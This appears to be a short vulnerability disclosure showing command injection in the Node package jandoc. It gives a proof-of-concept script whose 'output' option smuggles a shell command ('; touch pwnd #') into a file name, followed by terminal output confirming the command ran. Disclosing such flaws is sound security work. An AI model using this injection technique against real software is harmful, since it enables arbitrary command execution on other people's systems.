Command Injection in jandoc

Save this code in a file, e.g. poc.js:

require('jandoc')({
    'input': "input.md",
    'output': "output.html; touch pwnd #"
});

A Markdown file is needed to run the PoC, e.g. the following text saved with
the filename input.md:

# hello

pwnd

Now, simply run poc.js and see the results:

$ rm -f output.html pwnd
$ ls -1
input.md
node_modules
package-lock.json
package.json
poc.js
$ node poc.js
$ ls -1
input.md
node_modules
output.html
package-lock.json
package.json
poc.js
pwnd